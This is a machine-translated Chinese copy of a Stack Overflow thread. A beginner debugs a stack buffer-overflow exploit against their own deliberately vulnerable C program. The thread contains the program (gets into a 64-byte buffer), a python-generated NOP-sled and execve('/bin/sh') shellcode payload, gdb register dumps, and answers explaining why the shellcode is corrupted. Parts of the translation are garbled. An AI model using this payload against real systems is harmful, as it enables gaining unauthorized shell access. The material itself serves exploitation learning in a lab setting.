Linux:简单C程序的缓冲区溢出导致SIGBUS

Linux:简单C程序的缓冲区溢出导致SIGBUS,c,gdb,stack-overflow,buffer-overflow,exploit,C,Gdb,Stack Overflow,Buffer Overflow,Exploit,我是二进制开发的初学者,正在接受缓冲区溢出开发的培训。我制作了一个无用的短C程序: #include <stdio.h> #include <stdlib.h> int main(void) { setbuf(stdout, NULL); char buffer[64]; puts("\nWELCOME TO THE REMOTE TEMP CLEANER SERVICE\n"); printf("Please enter a passw

我是二进制开发的初学者,正在接受缓冲区溢出开发的培训。我制作了一个无用的短C程序:

#include <stdio.h>
#include <stdlib.h>

int main(void) {
    setbuf(stdout, NULL);
    char buffer[64];
    puts("\nWELCOME TO THE REMOTE TEMP CLEANER SERVICE\n");
    printf("Please enter a password: ");
    gets(buffer);
    puts("\n");
    if(strcmp(buffer, "securepassword1234") == 0) {
        puts("[+] Password correct.");
        puts("[*] Cleaning temp folder..");
        system("/bin/rm -rf /tmp/*");
        puts("[+] Done!");
        puts("[*] Disconnecting...");
        return 0;
    } else {
        puts("[-] Incorrect password.");
        puts("[*] Disconnecting...");
        return 1;
    }
    return 0;
}
(因此Nopsiled+外壳代码+返回地址,目前用于测试的返回地址仅为\x42的6倍。我在上找到外壳代码,使用此外壳代码是因为我在64位系统上)

在gdb上:
r

它给了我这个结果:

Starting program: /root/remotetempclean < input

WELCOME TO THE REMOTE TEMP CLEANER SERVICE

Please enter a password: 

[-] Incorrect password.
[*] Disconnecting...

Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
(gdb)  
(gdb) 
(gdb) 
(gdb) 
(gdb) info register
rax            0x1  1
rbx            0x0  0
rcx            0x7ffff7b06134   140737348919604
rdx            0x7ffff7dd48c0   140737351862464
rsi            0x7ffff7dd37e3   140737351858147
rdi            0x0  0
rbp            0x50f3bb05e545752    0x50f3bb05e545752
rsp            0x7fffffffe1d0   0x7fffffffe1d0
r8             0x7ffff7fd14c0   140737353946304
r9             0x0  0
r10            0x88b    2187
r11            0x246    582
r12            0x5555555546e0   93824992233184
r13            0x7fffffffe2a0   140737488347808
r14            0x0  0
r15            0x0  0
rip            0x424242424242   0x424242424242
eflags         0x10202  [ IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
---Type <return> to continue, or q <return> to quit---
gs             0x0  0
(gdb)  
<> P> >此<代码> 0x7FFFFFEF18F地址看起来很好,它在NopScript的中间。因此,我将输入修改为:

echo -n `python -c 'print("\x90"*45 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "\x8f\xe1\xff\xff\xff\x7f")'` > input
所以现在我想我应该有一个外壳,但是当我运行程序时

(gdb) r < input
Starting program: /root/remotetempclean < input

WELCOME TO THE REMOTE TEMP CLEANER SERVICE

Please enter a password: 

[-] Incorrect password.
[*] Disconnecting...

Program received signal SIGBUS, Bus error.
0x00007fffffffe1c0 in ?? ()
(gdb) info registers
rax            0x0  0
rbx            0x68732f6e69622f 29400045130965551
rcx            0x7ffff7b06134   140737348919604
rdx            0x0  0
rsi            0x7ffff7dd37e3   140737351858147
rdi            0x7fffffffe1c8   140737488347592
rbp            0x50f3bb05e545752    0x50f3bb05e545752
rsp            0x7fffffffe1c8   0x7fffffffe1c8
r8             0x7ffff7fd14c0   140737353946304
r9             0x0  0
r10            0x88b    2187
r11            0x246    582
r12            0x5555555546e0   93824992233184
r13            0x7fffffffe2a0   140737488347808
r14            0x0  0
r15            0x0  0
rip            0x7fffffffe1c0   0x7fffffffe1c0
eflags         0x10213  [ CF AF IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
---Type <return> to continue, or q <return> to quit---
gs             0x0  0
(gdb) 
(gdb)r
RIP“神奇地”变成了
0x7fffffffe1c0
?它给出了一个信号,我不明白为什么。。。我做错了什么?

问题是:

  • 将可执行代码放在堆栈上
  • 您调用
    put
    ,它将覆盖堆栈
  • 返回堆栈上的(现在已损坏)代码
  • 当我在
    获取后注释掉所有代码时(实际上只是在它之后立即返回),那么shell代码保持不变。。。只会在执行
    push
    es时被自身损坏——这非常令人困惑,因为您的
    $rsp
    $rip
    指向同一个位置


    sub$40,$rsp
    (字节:
    \x48\x83\xec\x40
    )添加到外壳代码的开头可以解决这个问题。

    我猜
    rip
    实际上被
    0x7fffffe18f
    正确覆盖,指令(外壳代码)一直执行到
    0x7fffffe1c0
    ,通常情况下,外壳代码无法获取外壳。您可以尝试在输入外壳代码之前设置断点,然后进入以找出问题所在。谢谢您的回复!哦,我还没想过。。。好。。。我尝试将断点设置为
    0x7fffffffe18f
    (我选择的返回地址),但它什么也不做,就像断点不存在一样,当我尝试中断
    0x7fffffffe190
    或任何以下地址时,程序在启动时以SIGBUS结束……在输入外壳代码之前尝试设置断点吗?像main
    ret
    或其他什么地方一样,不要在堆栈中放置断点。实际上,当人们复制和使用外壳代码而不考虑它需要什么或有什么副作用时,这是很常见的。@EmployedRussian谢谢!它好像起作用了。虽然在没有gdb的情况下直接将输入导入程序是不起作用的,但很明显,实际执行和gdb执行之间的地址空间是不同的,所以我将进一步研究…@sudhackar我知道,我不应该像那样复制和粘贴,我只是对低级开发、汇编等非常陌生,我会继续学习it@EmployedRussian遵循这一点,它就像一个符咒:。再次感谢你的帮助!
    echo -n `python -c 'print("\x90"*45 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "\x8f\xe1\xff\xff\xff\x7f")'` > input
    
    (gdb) r < input
    Starting program: /root/remotetempclean < input
    
    WELCOME TO THE REMOTE TEMP CLEANER SERVICE
    
    Please enter a password: 
    
    [-] Incorrect password.
    [*] Disconnecting...
    
    Program received signal SIGBUS, Bus error.
    0x00007fffffffe1c0 in ?? ()
    (gdb) info registers
    rax            0x0  0
    rbx            0x68732f6e69622f 29400045130965551
    rcx            0x7ffff7b06134   140737348919604
    rdx            0x0  0
    rsi            0x7ffff7dd37e3   140737351858147
    rdi            0x7fffffffe1c8   140737488347592
    rbp            0x50f3bb05e545752    0x50f3bb05e545752
    rsp            0x7fffffffe1c8   0x7fffffffe1c8
    r8             0x7ffff7fd14c0   140737353946304
    r9             0x0  0
    r10            0x88b    2187
    r11            0x246    582
    r12            0x5555555546e0   93824992233184
    r13            0x7fffffffe2a0   140737488347808
    r14            0x0  0
    r15            0x0  0
    rip            0x7fffffffe1c0   0x7fffffffe1c0
    eflags         0x10213  [ CF AF IF RF ]
    cs             0x33 51
    ss             0x2b 43
    ds             0x0  0
    es             0x0  0
    fs             0x0  0
    ---Type <return> to continue, or q <return> to quit---
    gs             0x0  0
    (gdb)